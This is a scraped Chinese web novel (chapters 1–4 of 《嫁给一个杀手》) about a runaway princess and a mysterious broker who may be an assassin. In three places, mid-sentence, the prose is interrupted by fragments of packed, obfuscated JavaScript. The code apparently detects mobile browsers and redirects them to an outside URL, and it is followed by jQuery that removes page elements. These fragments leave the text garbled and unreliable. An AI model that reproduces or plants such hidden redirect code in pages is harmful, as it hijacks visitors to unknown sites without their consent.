《嫁给一个杀手》 1. 第 1 章 瑟瑟秋雨,凄凄北风。 昨夜一场雨落下来,还未红透的枫叶从树枝上跌了不少,湿趴趴贴在地板。 朏朏托腮,端详人来人往的集市。 即便天际尚有几点残星,也掩盖不住大家赶早市的热情。 小食摊子上,随着老板掀起蒸笼盖,里头水汽扑面而来,肉香气传遍大街小巷。 眼巴巴瞧着新鲜出炉的肉包子,朏朏满脸惆怅,却也无可奈何,只得龟缩在角落里啃着冷馒头。 身上已经没几个铜板了。 可怀中的包裹却是鼓鼓囊囊的,里头裹着满满当当、梁国出产的金玉。 只是她不能用。 用了,就会留下线索,会被衙差抓住。 啃完最后一块冷硬的馒头,朏朏拍拍手上碎屑,从衣襟中拿出地图,仔仔细细辨认路线。 羊皮地图上的道路密密麻麻的,还有些许脏污和破洞,不是很好辨认。 借着逐渐明亮天光,朏朏瞪大眼,指尖在地图上比划来比划去。 青玉姑姑说的济光村,在哪里呢? 听闻那处有个很厉害的掮客,知人所不知,只要给足够的钱,就能得到自己想要的。 她需要他帮忙弄到一张前往楚地的船票。 朏朏想了想。 这不就类似姑姑讲的江湖故事中,智多星百宝囊型的人物吗?是她过往最憧憬羡慕的那一种类型。 只是这地图横看竖看,都没法看出济光村所在的位置。 朏朏长叹一口气,抓紧手中的地图。 没办法了。 只能去问问这里的居民了。 拍了拍身侧小毛驴的脑袋,朏朏道:“阿呆,我们要走啦。” 她挑了个看着面善的老伯问路,“伯伯您好,请问济光村该往哪里走?” 那厢忙碌的菜贩老伯闻言,很是热心地给她指了条明确清晰的道路。 临了,他看着眼前衣着单薄的娇小女娘。 虽是穿着常见朴素的窄袖青色衣裙,却是这镇中少见的好颜色。 老伯好心嘱咐她一句:“……小女娘,一个人走路小心些,最近世道不太平。” 朏朏点点头,挑了几根胡萝卜,手指在钱袋里掏掏,摸出最后几枚铜板付给卖菜老伯。 而后把胡萝卜往身侧的毛驴嘴里塞,“谢谢你呀伯伯,我知道的。” 她唇角轻勾,盈盈笑意攀上眉眼,比这日光还要粲然,一双眼睛如水洗的黑葡萄,清亮又澄澈,看着她时,仿佛有春风拂过脸颊。 老伯整理菜叶子的手一顿,犹豫一瞬,道:“女娘最好遮遮脸,不然被那些到处乱抓人的衙差瞧见,可少不得被抓去凑数。” 见左右无人注意,他又小声说:“州府的官兵为了通缉令,抓了不少长得漂亮的姑娘去交差,真是造孽啊。” “嗯?” 朏朏心中惊涛骇浪。 怎么会这样? 通缉令居然都来到这里了?? 远比她想象中的要快。 朏朏面上不显,只是缩在袖中的手紧了紧,“好的,我知晓啦,谢谢老伯。” 远远看着悬赏令,朏朏眉头紧蹙。 这镇子虽说偏僻,远离王都,但榜上居然也张贴着她的悬赏令。 虽然画得不像她的模样就是了。 朏朏暗自腹诽。 若父君见过她,定然不会让画师将通缉令画成那样。外头的通缉令也就照着大姐姐的相貌,笼统折中画了一幅大概的面容。 一阵萧瑟秋风刮过。 那悬赏令被吹得摇摇欲坠。 回想起这段时间惊心动魄的逃跑之旅,朏朏垂下眼睫,连带着方才渴望吃一口肉馅儿包子的心情都没有了。 梁国被陈国铁骑踏遍国土,父君懦弱无能,为献忠心,也为保自己余生享受现有的荣华富贵,将举国珍爱、艳若桃李的昭华公主作为礼物,进献陈国。 可偏生昭华公主又是个耿直刚烈的性子,拒绝嫁给敌国皇子,于殿中用一根白绫自尽而亡。 父君为此事焦头烂额,情急之下,竟想出用她去代替昭华公主嫁到陈国的荒唐法子。 朏朏就着水囊喝了一口水,叹了口气。 她生母只是个地位低下的小宫女,某天晚上父君在宫宴上喝醉了,与母亲风流一夜,这才有了她的出生。 可惜的是,母亲在生她时血崩而死,父君对她也不甚在意,封了个十六公主的名号,而后象征性地赐了点金玉锦缎与几个奴仆,便打发她去荒凉的偏殿呆着。 在偏殿的日子倒也不算难熬,幸好有青玉姑姑同几个同龄的朋友陪伴,过得亦是有滋有味。 想起王宫中的大家,朏朏眼眶发红,眸中不自觉蒙上层薄薄水雾。 得知国君意图李代桃僵的法子,宫中一片慌乱,众人皆为她的命运担忧。 唯有青玉姑姑迅速反应过来,收拾好行囊,匆匆把它塞到她怀中,嘱咐道: “萧朏,快走,别回头。” “千万不要心软回头,有多远跑多远,永远也不要回来。” “往南边走,找个掮客带你离开。” …… 天大亮了。 霞光现,金乌展。 日头照得人身上暖融融的,驱散寒夜最后一丝冷意,朏朏抬手擦干眼中蓄满将落的水泪。 她拍了拍脸蛋,试图让自己振作起来。 过往烟消云散,眼下,已经没有梁国十六公主了。 如今的她,只是一个名叫朏朏的小农女。 至于梁国没了昭华公主的后果…… 朏朏抿了抿唇。 总之,这不是她一个农女该担心的事情。 就算没有十六公主,也会有十七、十八公主。 甚至于朏朏觉得,以她父君那种性子,用昭华公主身边的侍女替补上去也不无可能。 毕竟,他只在乎他所享受的荣华富贵。 正值朏朏出神间,路边茶室二楼的一间雅阁,窗扉轻推,漏出一角青白衣摆。 他身量极高,好似挺拔青竹,是介于少年与青年之间的清冽意气,此刻修长指尖微蜷,一下一下敲着木窗棂,笑吟吟道:“找到你了。” 来上茶的小二好奇询问:“客官这是遇上好事了?” “是啊。” “那可真是好事。” 小二擦干净木桌,放下茶托,笑道:“也不枉客官在这等了那么久。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024645|194336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 少年清澈嗓音含着笑意,好似山涧清泉裹挟缤纷落英,有种说不清道不明的缱绻羞涩。 “……对呢。” * 天光云影徘徊,秋风吹得落叶悠悠打了几个旋儿。 朏朏牵着毛驴,在一处密林入口徘徊犹豫。 山岚幽深,薄雾絮绕。 脚边如珠露水凝于草叶尖尖,将坠未坠。 卖菜的老伯只同她说了,只要往右拐个弯一直走就能到济光村。 仔细端详手中地图,朏朏蹙眉思索。 她应该没有走错。 济光村就在前头了,只要翻过山顶就行。 朏朏憋着一股气,以一往无前的势头,哼哧哼哧爬上山顶。 眼下深秋时节,虽无春夏时的桃红柳绿,但登高远眺,这山上风景却是极好。 午后粹亮日光倾泻而落,落叶飘零,漫山枫树与银杏爆开连绵不断的红黄盛况。 美丽又耀眼。 是她过往呆在宫中从未见过的景致。 就连风中夹杂的淡淡泥腥气都觉得无比新鲜。 轻抚毛驴额头上的短毛,朏朏心情很好地问了它一句:“阿呆,此处风景,是不是很好看?” 像是想到什么,她笑了笑,轻声道:“如果慧真姐姐知道我竟然翻了一座这么高的山,一定会吃惊到连手里的活计都忘记做了。” 收回视线,朏朏又给它喂了一根萝卜:“可惜你只是头爱吃萝卜的呆毛驴,不会跟我说话聊天。” 毛驴只是慢悠悠嚼着萝卜,并不看她。 歇了一会儿,朏朏看向山头另一侧隐在阡陌农田里的几座小房子,心里头又有满满的干劲。 她忽然又有力气起来,内心激情澎湃:“出发出发!” 朏朏吭哧吭哧迈开步子。 下一瞬,脚下一绊,一时不察,往前扑倒在松软的落叶泥地中,摔了个狗啃泥,“诶呀——!!” 属实是流年不利。 一定是有人偷偷在暗地里骂她。 脸埋在地里,鼻尖甚至还能闻到被露水洗涤过的落叶泥泞味道,朏朏心中骂骂咧咧,从地上爬起来,用衣袖擦干净脸上污泥,小声抱怨:“好痛哦——” “噗。” “好笨。” 一道略带戏谑的嗓音。 朏朏下意识抬头,循声望去。 即便眼睫被水糊成一团,她仍瞧清了来人的脸。 是位与她年纪相仿的陌生少年,却有着一张极好看的脸。 冷白类雪的皮肤,红润润的一张唇,好似瑶池芙蕖花瓣其上的淡色珠露,在日光下熠熠生辉。 长睫托举一双清亮亮的桃花眼,潋滟清润,倒显得眸中那股似笑非笑的戏谑意味,也一下变得朦胧起来。 朏朏愣了愣。 好漂亮的一张脸。 比她过往见过的人里都要好看。 本以为元良哥哥面容皎白、貌若好女已是顶峰,没想到王宫外头一山还比一山高。 心底惧意却不知不觉散了些,她对美的事物一向包容。 朏朏坐在地上,认认真真为自己辩解,反驳道:“我不是笨,我只是不小心踩到东西,把自己绊倒了而已。” 2. 第 2 章 在朏朏嘀嘀咕咕为自己辩解时,怀音倚在不远处的树干打量她。 这小女郎仰着一张沾了泥巴与水珠的小脸,看着好不狼狈,唯有一双看向他的圆润眼睛亮极了,里头满怀好奇,像只摔落泥塘被捞出后还在懵懵然的小猫。 怀音没料到她竟会来得这般快。 不是说贵族女郎皆是身娇体软、易劳易累的呢?他都做好要在这山顶上等个几天的准备了。 朏朏边摘掉插在发间的落叶,边好奇问道:“你是谁?” 怀音莫名想逗弄一下她。 他迈开步子,不急不缓往前,俯下.身看她,慢条斯理反问:“你猜我是谁?” 对于这个突然出现的漂亮少年,朏朏没有什么头绪,只好看着他诚实摇头:“对不起,我实在猜不出来。” 过往元宵节的猜灯谜游戏,她永远都是垫底的存在,还一度被元良哥哥嫌弃好久。 怀音眼中戏谑褪去,转化为一阵格外认真严肃的情绪,就这么一瞬不眨地睁眼看她。 他掩下某种思绪,抽剑出鞘,微微一笑:“我啊……” 那长剑雪亮如银,寒气凛然,锋利边缘泛着冷冽寒光,好似只需轻轻触及皮肉,便能割开一道口子。 怀音面无表情弯腰,淡声道:“我是来杀你的人。” 少年语气不痛不痒,平淡又自然,就好像在跟她讨论今天吃什么一样。 但横在颈侧的剑刃与她纤细脆弱的脖颈保持着一种微不可察的距离,仿佛稍有不慎,便会血溅当场。 他不笑时真的好吓人。 朏朏如是想着。 “啊?” 朏朏指着自己,好奇眨眨眼:“我吗?你要杀我?” 怀音应道:“是啊,我来杀你。” 思索片刻,朏朏再次摇头,严谨纠正他:“那你不应该让我说那么多话的。” 话本里都说了,真正的主角,才不会给反派机会,通常只会一击即中,一刀毙命。只有执笔作者想赚更多的润笔费时,才会拖着不杀反派。 这少年又何必听她嘀嘀咕咕那么多的话呢? 想了想,朏朏给他出了个主意,诚恳道:“你应该在我还没反应过来之前,就一刀杀了我。” 她穿了身细麻制成的绿裙,屈腿坐在地上,裙摆如花瓣般舒展散开。 仰起的小脸面若芙蓉,白净又乖巧,眼睛通透清澈,一眼便能望到尽头,眼下一颗浅浅泪痣招人惹目。 行走江湖多年,怀音识人无数,只看了两眼,便确认这姑娘的确是个需要人保护的。 但胆子又有些大,剑架在她侧颈处,不哭也不闹,只是身体有些颤。不像装出来的,倒像是养得太好,一副天真又软绵绵的性子。 “你挺好玩的。” 怀音这会儿是真的笑了,不复方才流于表面的虚假笑容。 他收剑回鞘,直起腰,将朏朏上下打量一遍,朝她伸出手:“你好,十六公主萧朏,我是来接你的掮客,我名怀音。” 朏朏“哼”了一声,拍拍身上的泥,站起来打量他几眼。 眼前这位名叫怀音的少年,便是青玉姑姑说的那位很厉害、能帮助她离开梁国的掮客。 不日前,她才传过信给他,没想到这么快就收到信,并且还赶来接她了。 “你好呀怀音,我叫萧朏。” 她轻轻开口,眉目舒展,眼睛带着单纯的浅浅笑意,声音悦耳软糯,叫人听起来格外舒服柔和。 怀音微怔一瞬,而后微笑回道:“……嗯。” 他睫毛向下,低了一下:“没错,这是我的名字,你找对人了。” 怀音伸出手:“劳烦十六公主给小人一件信物,这样小人也好再次确认一下公主殿下的身份。” 闻言,朏朏扁了扁嘴,一双晶晶亮的眼也黯淡了三分,将贴身带着的玉佩递给他:“我才不是什么公主殿下呢……” 再说了,哪有如她这般落魄到需要逃跑的公主。 虽然事先约好见面时是要喊全名、交付信物当作暗号,但这个十六公主的前缀却怎么听都感觉别扭。她又并非如她大姐姐昭华公主那般备受宠爱。 想了想,朏朏又道:“你叫我朏朏就好,这是我的小名,或者小朏阿朏也行。” 怀音低头看了眼手里的信物。 阳光下,玉佩质地不甚莹润细腻,内里混沌,多有杂质,唯有其上一个小小的刻字清晰可见。 ——朏 还以为会是翡翠的翡,没想到竟是山海经中无忧兽朏朏的朏。 怀音看了一会儿,能闻到上面浸了股浅淡的香味。 他不太懂香,但这股香味除了格外好闻外,却没什么特别的。 怀音满不在乎将玉佩递还给他:“好的,公主殿下。” 朏朏扁扁嘴:“……” 好气人,这家伙是不是听不懂人话的。 “你既知道我是谁……” 朏朏一脸狐疑收好玉佩:“怎么还愿意帮我?” “左右不过是人为财死,鸟为食亡罢了。” 怀音眸光移至毛驴背上那看起来沉甸甸的包袱,微笑道:“只要公主殿下有钱,我什么都能替你去做。” “喔——” 心下思虑一番,朏朏逐渐安下心。 倒是很符合元良哥哥所说的,掮客只要你有钱,什么都能帮你办到。 即便是如帮助一国公主逃婚这般惊世骇俗的事情。 有图于她就好,就怕什么都不图的。 牵紧身边懒洋洋的毛驴,朏朏笑眯眯地拉近乎:“怀音,你名字还挺好听的。” 怀音偏头。 日光璀璨,映得少女脸颊好似岭南那地出产的剥壳荔枝,虽有泥点残留,却削弱不了那莹润细腻的好颜色。 他问:“何以见得?” 朏朏轻快笑笑。 而后宛若一个老学究般摇头晃脑的:“偏偏飞鸟,集于半林,吃……呃下一句是什么来着……” 这诗句是不知因何缘由得罪父君、而被遣送来偏殿的一位姓韩的老先生教她的。 但偏殿中的姑姑哥姐们都比较忙,自然也没那个功夫去读听韩先生说书,韩先生无奈,只得自己一个人闷在屋子里头撰书作画。 她闲时会因为好奇,去那个小房间里看望先生,听他念一些诗句文章。韩先生还夸过她勤奋好学有天资咧,她不可能丢了先生脸面。 思及此,朏朏冥思苦想一会儿。 忽地,她眼前一亮,不由得挺起胸膛,将下半句诗念出来:“吃我桑葚,怀我好音!” 吃了主人家甜滋滋的桑葚,就要唱美妙的歌谣回报给主人听。 朏朏笑了笑:“如此说来,怀音的确是个好名字呢。” 小女娘那显摆的模样,好似只高高翘起尾巴的喜鹊。 怀音有一瞬无言。 他接过话头:“是翩彼飞鸮,集于泮林,食我桑椹,怀我好音。” 朏朏讶然,望向他:“咦?你是怎么知道的?” 她嘴巴微微抿起,嘀嘀咕咕道:“还以为掮客都是快意恩仇混江湖的大侠好汉,不会去念书来着……” 那双看向他的眼睛圆润清丽,说是杏子眼也不尽然,只因眼尾尖尖轻轻勾起,倒是像一双伶俐的猫儿眼。 怀音挑眉,睨她一眼:“嗯?你在说什么?” 飞快捂住嘴,朏朏眨巴眨巴眼:“没有没有,我什么都没说!我是说怀音好厉害呢!懂得好多。” 此地无银三百两的样子太明显,怀音没说什么,只是随口道:“跟上。” 山道蜿蜒十八弯,两侧树梢挂满不知名野果。 朏朏这瞧瞧那看看,只觉得什么都新鲜。 只是看了会儿景色,眼睛又挪到快她半步、行于前头的怀音。 脊背挺拔,体态却很松弛,似是王族仪范,可右手却几乎贴在腰绔间,不怎么随势摆动。 很突兀的感觉,有些奇怪,不够协调。 朏朏如是想着,忽地,余光被一大簇点缀有鲜红果实的草丛吸引住。 她松开手中牵着毛驴的绳子,好奇蹲下.身,左右拨弄那些鲜红欲滴、饱满多汁的果子,回忆这是《草木志》中写的哪种野果。 朏朏沉思:“唔……是什么来着?” 蓬蘽还是蛇莓果? 样子看起来都差不多,但她更倾向于是蓬蘽,因为蓬蘽能吃。 非常简单质朴的理由。 捻着那枚果子,朏朏觉得自己还是挺厉害的。 不枉她往日背着元良哥哥,看那么多的杂书。一路上看到这么多的野果子都能认出名字,偶尔饿了渴了,还能摘来充饥。 不对不对,现在不是自得的时候。 朏朏很快收敛好自己的情绪,摘了一大把果子,整整齐齐装在小布兜里。 她捧着小布兜,欢欢喜喜走至少年身边,殷勤道:“怀音怀音,你渴了吗?” 怀音视线下移,落在朏朏手上的那只青色布兜:“这是什么?” “是蓬蘽!一种好吃的野果子。” 朏朏忽而伸出手去,握住了他的左手:“能吃的,我来的路上也吃过,你走了那么远,一定渴了吧,来吃点果子解解渴。” 虽然是存着些讨好人的心思,但毕竟是她有求于他,所以得主动拉近些距离。 朏朏如此想着。 少女温凉细腻的掌心托在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她翻到记录有蓬蘽插图的那页,指给他看:“你瞧,这看起来长得也差不多嘛。” “不要看到长得差不多的就乱吃。” 怀音粗粗瞥了眼书,好整以暇地看她:“没死算你命大。” 朏朏还是不信邪般一边对照着书上插图,一边看一眼地上的红色果子。 仔仔细细瞧清、对比那几幅插图,她这才不得不承认。 怀音说得对,她方才摘的不是蓬蘽,而是不能给人吃的蛇莓果。怪她看书时总是囫囵吞枣,看一半留一半。 朏朏懊恼地拍了拍脑袋:“怀音,你说得对……” 她小心翼翼窥了面前少年一眼:“抱歉,是我学艺不精。” 怀音呵出一声,没说话。 认错能吃的果子,还硬塞给别人,多少有些令朏朏尴尬。 她用崇拜的目光看他:“怀音你好厉害呀,真希望我以后也跟你一样认识那么多能吃的果子。” 这也不怪她会认错呀,谁让蓬蘽同蛇莓果长的样子差不多呢。或者说,这两长得只是一个姐姐一个妹妹的区别。 小女娘边说着些憧憬的话,边飞快把布兜里的蛇莓果倒出,装作若无其事的样子站起身,而后略显矜持地抚了抚自己的头发,迅速下脚把那些蛇莓果全部踢飞。 一套动作下来,熟悉又流畅,看得出以前干过不少相似的事情。 怀音没理她,只默默在前头走。 “那你要吃胡萝卜吗?”朏朏跑过去,裙裾疾速飞扬。 她捧着仅剩的一根胡萝卜,讨好般对他咧开一抹笑容:“这个勉强也能止渴生津。” 那双明亮眼眸微弯,黑而大的瞳仁显得天然又无辜,仿佛一只初生降世的幼崽。 总让人莫名想逗弄一番。 如此想着,怀音也就这么做了。 他负手而立,视线移到她身侧悠哉悠哉啃着胡萝卜的毛驴身上:“把我当驴?” 见状,毛驴喷出一口气,像是不满自己的口粮被少年夺走,便拿脑袋去拱朏朏的腰。 朏朏呐呐开口:“……没有那回事。” 她悄悄捏了一把毛驴的耳朵,小声说话:“阿呆,不许闹。” 怀音与她四目相对。 虽未说话,但那眼神明晃晃的,将她心思照得昭然若揭。 急于岔开那个话题,朏朏含含糊糊问:“怀音,我们从哪里离开陈国地界?” 来时仔细想过,只要他们星夜兼程,大概四五天就能到达梁国边界,然后她留点乘船渡江的钱,再把剩下的钱都给怀音,届时她自己一人去往楚地之南。 此后天地之大、山高水长,任由她飞。 怀音:“走不了。” “我们……嗯?” 朏朏一双猫儿眼慢慢瞪圆:“走不了?为什么?” 3. 第 3 章 三五鸟雀栖于枝头,好奇低头,端详底下默然对视的少年男女。 朏朏懵懵抬眸:“你、你说什么?为何走不了?” 她想不通其中的缘由。 如果是担心通缉令的话,那她逃亡这半月的时间里,皆是有惊无险地躲过了一波波的官差。 她有信心这五天内不会被官差抓到。 当初青玉姑姑提供了不少掮客的信息,而她舍近求远、大费周章来到这偏远的济光村镇找怀音。无非是因为此处地域是离楚江最近的地方,也方便她乘船离开。 垂在身侧的手紧攥成拳,朏朏瞪着他,眼中怒火如有实质:“你是在耍我玩吗?!” 怀音往前微微俯下身,靠近同她对视,微笑道:“你不是累了饿了呢?” 少年一身青白的衣衫,脸部轮廓在日光下显得沉稳温良,唯有眼中戏谑之色明显。 被这么一说,朏朏肚子很是应景地叫了一声。 “咕咕——” 连日赶路的身子也适时涌现一股极乏极累的疲惫。 朏朏心中骂骂咧咧。 怎么肚子就这个时候开始叫了。 馒头怎么就填不饱你呢!叫什么叫! 那可是白面和的馒头! 被如此直白点出,朏朏羞红了脸,愤愤然:“那又如何?!” 怀音随口道:“不着急,我先带你去找个吃饭的地方吧,到时候我再继续同你讲。” 话罢,便自顾自地迈开长腿,往山下走。 朏朏:“……” 是她的好运气全用在逃出宫的时候了吗? 不然怎么会遇到如此不靠谱的掮客,根本没办法让人放心。总感觉眼下她就站在悬崖之上,往前是摔得粉身碎骨的绝境,往后是绝人死路。 深深呼吸一口气,朏朏平息心腔翻涌的不忿情绪。 怎么感觉像是被耍了一样…… 她牵好毛驴,跟在少年身后,拖着疲惫身躯走进山下村落。 山下只有一个村子,三两成群的几处村舍点缀其中。看着不甚繁华,但路过的村民并无面黄肌瘦之态,可见村中过得安康。 吃饭的地方是个支着油布棚子的小摊,蒸屉里冒着白花花的水汽。 拉开一侧小木凳,怀音微微笑道:“朏朏姑娘,请坐。” 朏朏怒视眼前少年,许久,才闷闷坐下。 坐就坐! 难道她还怕他不成? 摊主是位看着面善的老妪,瞧见来人,便笑眯眯道:“是阿音小子啊,今天要来碗什么?” 怀音扬声:“素面,加个蛋。” “好嘞。” 老妪又朝朏朏问:“这位姑娘,你想吃啥?” “我要一碗馄饨,肉的。” 同人怄气可以,但不能跟吃的怄气。 朏朏仰脸,细声细语地回话:“谢谢婶婶啦,麻烦你了。” “啥?小姑娘你要啥?” 朏朏乖巧礼貌道:“婶婶,我要一碗肉馄饨。” “啥?你要炖?” …… 见对话有持续不断的趋势,怀音用了点真气,扭头,道:“婶子,她要馄饨,肉的,还说谢谢你。” “诶行行行。” 老妪笑得两眼眯起:“小姑娘嘴巴真甜。” 她速度很快,不过盏茶功夫,便端来两碗冒着热气的素面和馄饨。 盛着细细虾皮的汤汁清澈见底,拇指大小的馄饨摇曳薄透裙带,上下游动。 朏朏看着,忍不住滚动几下喉咙。 木筷随意搅动碗中素面,怀音偏着头,就这么一眨不眨、愈发细致地打量她。 她脊背挺直,细长五指小心执筷。 眼仁被汤水冒出的热气蒸得湿漉漉的,天真柔美,惹人怜惜。 进食过程不言不语,小口小口地尝,一丝声音都无。事后还细细用干净帕子擦掉嘴角残余汤汁,姿势秀雅。 怀音心不在焉吃着碗里面条,心中暗忖。 这便是梁国的那些贵族礼仪吗? 细细咀嚼口中美味馄饨,朏朏吃得开心。 半个月颠沛流离的生活,还没好好吃过一顿像样的饭菜。这么一碗热乎乎的馄饨下去,感觉自己的五脏府都鲜活不少。 她不经意间抬眸,却是瞧见那碗素面的主人都没动筷,此刻单手支颐,目不转睛地盯着自己。 朏朏歪了歪头:“……这位大侠你好,请问是有事吗?” 放下手,怀音漫不经心地看着她:“你们吃饭都是这样子的吗?看着很赏心悦目。” 并且秀色可餐。 闻言,朏朏有一瞬的惊讶。 怔怔垂下眼睫,打量沾有汤汁的丝帕,她微微蹙眉:“赏心悦目?” 不觉得。 这半月以来,她一直都有意识避免这些会彰显贵族礼仪的细节来着,以免被人发现自己的真实身份。 没想到今天一放松,就显露原型了。 朏朏心中叹气。 都怪青玉姑姑的教导过于刻骨入髓。 “我很好奇。” 怀音手指微蜷,有一搭没一搭地轻敲桌面:“你为什么要逃?嫁给陈国未来的国君当后妃,不应该很高兴吗?” 朏朏张了张嘴,最后也只是摇摇头。 其实用嫁娶二字来形容她的婚事不太贴切,毕竟迎娶正室夫人,三书六礼可是必不可少的。而陈国太子早已有太子正妃,她萧朏嫁过去也不过是个侧妃而已。 好歹也是个有骨气的女子,她萧朏绝不会给人当侧妃呢,而且那陈国太子还荒淫无度,她绝对不要嫁给他。 朏朏垂下眼睫。 大抵是上天垂怜,在青玉姑姑同元良哥哥的帮助下,她得以十分顺利逃出梁国王宫。 也不知元良哥哥是如何打点慧真姐姐去做事的,王宫中见过她真实面容的所有侍从护卫如踏雪无痕,毫无踪迹可循。 思及此,朏朏长叹了一口气。 她真的很想念宫中的各位朋友。 也担忧自己逃走后,父君是否会拿他们出气…… “别叹气了小公主。” 瞧着簌簌而落的银杏叶子,怀音饶有兴致道:“你都快要把叶子给叹掉了。” 闻言,朏朏立时抬头观察四周,如只时刻警觉的小鹿。 见老妪没注意到怀音方才那句话,她才慢慢放下心,转回头拿眼去瞪他,低声呵道:“你疯了吗?” 话语略顿,朏朏咬牙道:“你知道我是谁,怎么还敢嚷嚷那么大的声音!” 是生怕父君派来的人不知道她在哪吗? “别担心。” 怀音单手支颐,看她一张精致小脸因怒容而微微扭曲的模样,笑道:“我既接了你的单子,自然会履行承诺。” “你能行?”朏朏问。 但是想想,他好像还真行。 她不太相信怀音的话,但她相信慧真姐姐教她的东西。 慧真姐姐说,真正的高手,是过雪无痕,踏叶无声的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024647|194336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才下山时,她特意拉着少年去走有很多落叶的小道。一路上她小心翼翼地走,费不少劲还是踩到很多落叶,可怀音却是轻轻松松的,一丝声音皆无。 想了想,朏朏问:“那你可以告诉我原因了吗?” 不能五天后乘船去楚地的缘由。 转着手中竹筷,怀音偏过眼,漫不经心道:“江水差不多要结冰了。” “什么?”朏朏愣在原地。 怀音道:“因为今年冬天来得特别早,也异常的冷。” 朏朏惊声:“那我们为什么还要在这吃东西!?” 这不纯纯拖延时间吗?! 她想去的地方,即便是乘船,也要半个月才到。 朏朏一拍桌面。 碗中也被这突如其来的力道震出几滴面汤。 怀音看她急急忙忙站起身,嘴里碎碎念着“现在马上就要走,再拖下去就要来不及了”之类的话。 他问:“你现在就要去港口吗?” 朏朏一脸看白痴的眼神:“不然呢?” 放松靠在椅背上,怀音摊了摊手,随口一道:“从现在到港口,快马加鞭也要四五天的路程,更别提你骑的还是驴。” 垂在袖中的手紧攥成拳,朏朏脱口而出:“那我们就去驿站买马啊!” 她可是有很多很多钱的人。 对面的少年倒是没什么表情,只是一直看她,似笑非笑的模样。 朏朏后知后觉想起。 她的钱…… 用不出去。 喉头蔓延着一股酸涩,朏朏一下撑不住,既委屈又生气:“那我们走路去好不好?我不怕累的,可以用脚走。” 她一路上虽说有惊无险地能躲开官差,但也只不过是借着不在一个地方长待的缘故。若真要在济光镇待到来年开春、江水破冰才出发…… 那她绝对会被父君抓到的! “骑马都要花四五天的路程。” 怀音挑起一根素面,吞下后平静道:“你竟然想步行前往?萧朏,你是脑子不清醒吗。” 朏朏垂着脑袋,浓睫颤了颤,低落喃喃:“难道要我留在这儿等死吗……” 好不容易在大家的帮助下,费那么多心思才逃出来的。 叫她现在被人抓回去,如何甘心? 少女双眸都含着一汪水,剔透如玉珠似的挂在眼睫上,鼻头微红,肩膀在轻轻颤着,一幅要哭不哭的模样。 怀音瞧着,却没来由地分神了。 ——哭起来不出声的样子,也特别乖。 娇娇的,一双眼睛包满了水,仿佛一戳就能抽抽噎噎地落下来。 他面无表情地想着,嘴上却慢慢往下说着:“而且据我所知,由于梁国国君长久找不到你,向底下的官员大发雷霆……” 忍住眼中快要掉下的泪珠,朏朏抬头:“所以呢?” 父君找不到她,所以就放弃不找了吗? 那对她来说,还真是大好事呢。 朏朏扯扯嘴角,无不嘲讽:“那我就该承他的意,乖乖回去吗?” 她哽声反驳,音调中透着不甘与委屈。 怀音吃掉最后一筷子素面:“我听说,国君委托了寻人非常专业的人来带你回去……” 朏朏眼睫怔怔眨动,难得显出一丝迷茫。 父君派了谁来抓她? 抬头与之对视,怀音微笑看她,如愿以偿看到她眼中泪珠落下。 他徐徐道:“他叫……” “李断微。” 4. 第 4 章 冷风拂过银杏林,吹得树枝簌簌作响。 少年声音平淡,可说出的人名却犹如平地起惊雷。 朏朏惊恐地瞪大了眼,眸中又惧又怕,磕磕绊绊道:“怎、怎么会是……” 她一下就吓傻了,浑身一哆嗦,险些站不稳倒地。 怀音喝完最后一口面汤,平静出声:“听说他就是国君派来找你的人选呢。” 她甚少关注偏殿外发生的事情,但偶尔会从元良哥哥口中了解到一些,也知晓李断微是谁。 李断微。 而今江湖排行第一的杀手。 无人知晓他的来历与相貌,只听说曾有委托人出高价换取自己仇人的皮囊,结果他真的一丝不苟,把整张人皮都完好无缺地送至委托人手中…… 甚至连一丝缺口都无…… “哕——” 胃里一阵翻腾,朏朏用力捂住嘴巴,试图制止不断传来的恶心感。 但最令她感到震惊的,还是几年前,李断微曾孤身一人,潜入陈楚二国的王宫,将二位先王斩首于剑下,手法干净利落,皆是一刀毙命,当场死亡,事后却无一人知晓他离开的踪迹。 此项王宫秘闻,还是某天夜里,她睡不着,缠着青玉姑姑问的,因为印象过于深刻,而至于一直念念不忘。 说什么寻人非常专业,一派荒谬之言,父君这定是要杀了她! 如果父君真是委托了李断微来找她…… 那她根本不可能跑掉! 朏朏撑在桌面的手臂微微发抖。 说不定,自己还会死在李断微的手上。 她太了解父君了。 现在父君还能稳居一国之君之位,就说明代替昭华公主嫁去陈国的,另有其人。 父君如今对她的态度,大概是因为自己驳斥了他身为一国之君的脸面,令其颜面无存。 恼羞成怒之下,父君大抵是不计她生死,也要找回她,以示国君威严…… 瞧着碗中还剩大半的馄饨,怀音问:“怎么,你不吃了吗?浪费粮食可不是什么好习惯。” 浑身发抖,朏朏本能地害怕起来,尾音颤颤巍巍的:“既知道他,你如何吃得下去?” “为何吃不下?” 怀音扬唇笑了下,神情无甚在意:“我都说了,只是听说而已。” 他似乎心情不错,指尖把玩一枚银杏叶:“空穴来风,不一定真实的事情,也值得你害怕?” 朏朏拧眉:“……” 这人怎么这么讨厌! 就非要讲这些个恐怖的人来吓她吗? 攥紧双手,朏朏深呼吸几口,最后才问:“那你该如何送我上船去楚地?我可是给了报酬的。” 